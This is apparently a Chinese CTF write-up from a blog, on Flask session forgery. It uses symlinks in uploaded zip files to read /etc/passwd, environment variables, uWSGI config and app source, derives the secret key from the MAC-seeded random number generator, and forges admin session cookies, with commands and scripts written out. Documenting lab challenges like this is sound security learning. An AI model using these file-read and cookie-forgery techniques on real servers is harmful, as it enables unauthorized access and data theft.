flask session机制

信息收集

主页是一个登陆界面其他按钮点击不了,源代码也没什么东西。

 除了admin用户不能直接登陆,其他用户都可以。

打开以后是一个文件上传,然后根据提示只能上传zip文件,我们随便上传一个 

我在zip文件里面写了一个/etc/passwd然后,发现实现了cat这个文件的功能。

然后再linux中有一个软链接,

然后把test存入zip中,

zip -ry 1.zip test  

上传后发现出现了/etc/passwd的命令,我们就可以更加深入的查找环境变量

ln -s /proc/self/environ link #环境变量

zip -ry out.zip link

 注意DUWSGI_INI=/app/uwsgi.ini

uWSGI是一个Web服务器,它实现了WSGI协议、uwsgi、http等协议。Nginx中HttpUwsgiModule的作用是与uWSGI服务器进行交换。WSGI是一种Web服务器网关接口。它是一个Web服务器(如nginx,uWSGI等服务器)与web应用(如用Flask框架写的程序)通信的一种规范。

 读取/app/uwsgi.ini

ln -s /app/uwsgi.ini us
zip -y us.zip us

 然后尝试读取一下/app/main.py

发现里面没什么有用的,所以我们还要找出源码在哪里。

然后搜索别的wp发现可能是buu环境的问题

正确的应该是

[uwsgi]
module = hard_t0_guess_n9f5a95b5ku9fg.hard_t0_guess_also_df45v48ytj9_main
callable=app
logto = /tmp/hard_t0_guess_n9p2i5a6d1s_uwsgi.log

 然后直接访问/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py出源码,整理得

hard_t0_guess_n9f5a95b5ku9fg为当前得文件名

from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])

def allowed_file(filename):
    return '.' in filename and 
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET'])
def index():
    error = request.args.get('error', '')
    if(error == '1'):
        session.pop('username', None)
        return render_template('index.html', forbidden=1)

    if 'username' in session:
        return render_template('index.html', user=session['username'], flag=flag.flag)
    else:
        return render_template('index.html')


@app.route('/login', methods=['POST'])
def login():
    username=request.form['username']
    password=request.form['password']
    if request.method == 'POST' and username != '' and password != '':
        if(username == 'admin'):
            return redirect(url_for('index',error=1))
        session['username'] = username
    return redirect(url_for('index'))


@app.route('/logout', methods=['GET'])
def logout():
    session.pop('username', None)
    return redirect(url_for('index'))

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'the_file' not in request.files:
        return redirect(url_for('index'))
    file = request.files['the_file']
    if file.filename == '':
        return redirect(url_for('index'))
    if file and allowed_file(file.filename):
        filename = secure_filename(file.filename)
        file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
        if(os.path.exists(file_save_path)):
            return 'This file already exists'
        file.save(file_save_path)
    else:
        return 'This file is not a zipfile'


    try:
        extract_path = file_save_path + '_'
        os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
        read_obj = os.popen('cat ' + extract_path + '/*')
        file = read_obj.read()
        read_obj.close()
        os.system('rm -rf ' + extract_path)
    except Exception as e:
        file = None

    os.remove(file_save_path)
    if(file != None):
        if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
            return redirect(url_for('index', error=1))
    return Response(file)


if __name__ == '__main__':
    #app.run(debug=True)
    app.run(host='127.0.0.1', debug=True, port=10008)

然后发现,index中有一个模板,index.html,应该是上面得目录下,templates文件,return render_template('index.html', forbidden=1)

index.html的真实路径就是/app/hard_t0_guess_n9f5a95b5ku9fg/templates/index.html

 需要我们是admin用户,然后看网站时session

所以我们需要知道密钥是如何构成得

查找密钥 

random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)

源代码得前几行就给出了

种子是通过random.seed(uuid.getnode())生成的。而uuid.getnode()又是将MAC地址转换为10进制。那么我们通过程序中的任意文件读取来获取网卡地址。不就能得到种子了
读取/proc/net/dev可以知道服务器上的网卡。接着/sys/class/net/eth0/address可以知道MAC地址 

ln -s /sys/class/net/eth0/address mac
zip -y mac.zip mac
提交mac.zip,得到02:42:ac:10:9e:a1 

 这里因为源码是app.config['SECRET_KEY'] = str(random.random()*100)所以这里也是100,让皇后python2 和python3运行出来得随机种子是不一样得,所以得看服务端用得哪个版本,建议从pyhotn3到python2如果不对,都试试。

伪造密钥

import random
import sys
mac = "02:42:ac:10:9e:a1"
print(int(mac.replace(":", ""), 16))#转换为10进制
random.seed(int(2485377867425))
SECRET_KEY = str(random.random() * 100)
#根据程序中修改
print(SECRET_KEY)

   然后就需要伪造admin的session

这里用到了github 中下载的一个源码,flask_session_cookie

思考: 

 自己的小问题:本来以为用jwt就可以搞定,但是格式有一部分不一样,这里面有一个时间戳的概念

格式类似于这种 eyJ1c2VybmFtZSI6InRlc3QifQ.XC7SPg.sV9_ueBW2e4kCoY0sxh14dxsQiY 由三部分组成 eyJ1c2VybmFtZSI6InRlc3QifQ Base64加密的数据 XC7SPg 时间戳 sV9_ueBW2e4kCoY0sxh14dxsQiY 数据签名。重点在于这个。通过密钥进行签名。防止被篡改

[HCTF 2018]admin

打开就是一个登陆注册,先注册admin然后已经被注册过了,就会想会不会是把用户名再改回admin然后获得flag。

看看 

登陆后发现有三个功能, 上传,改密码,忘记这个可以忽略着重看这两个

 然后代码审计发现密钥ckj123 

  和我们想的一样改为admin就可以,

开始伪造session

 首先把网站的session进行解码

python3 flask_session_cookie_manager3.py decode  -c  ‘session’

{"_fresh":true,"_id":{" b":"MmE0NWU2OTY3ZDkyZmU1MTBiMjA4Zjc4YzI0NzUyZTc5OTFhZDNmMTcxNzAyZWU0MGQ2OTdlNGNlMTkzZDZhNmM1Nzk3Y2ZhYmY3YzJkMmRkMzdkN2ExM2M3YTU0NmQzZDdhZjQzZjAzNWUwZDZhMzIzNjljYjZhMzdkZTZlNWY="},"csrf_token":{" b":"NGYxOGQ1M2YzMTQ3MTM5NWVkNTU2YzY2NjMyOGYzNDNkMTQ5ZTU1NQ=="},"image":{" b":"QlVmNg=="},"name":"admin","user_id":"10"}

name改成admin

然后开始伪造admin

试了好久都是报错

'{"_fresh":true,"_id":{" b":"2a45e6967d92fe510b208f78c24752e7991ad3f171702ee40d697e4ce193d6a6c5797cfabf7c2d2dd37d7a13c7a546d3d7af43f035e0d6a32369cb6a37de6e5f"},"csrf_token":{" b":"4f18d53f31471395ed556c666328f343d149e555"},"image":{" b":"BUf6"},"name":"admin","user_id":"10"}'

然后翻了好几篇文章,发现是需要改变格式把括号去掉"b",变成b'相当于变成了python的格式

{'_fresh': True, '_id': b'2a45e6967d92fe510b208f78c24752e7991ad3f171702ee40d697e4ce193d6a6c5797cfabf7c2d2dd37d7a13c7a546d3d7af43f035e0d6a32369cb6a37de6e5f', 'csrf_token': b'4f18d53f31471395ed556c666328f343d149e555', 'image': b'BUf6', 'name': 'admin', 'user_id': '10'}

 

 太难了不容易,原本解码的时候也报错,然后pip3 install flask模板才成功运行。

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值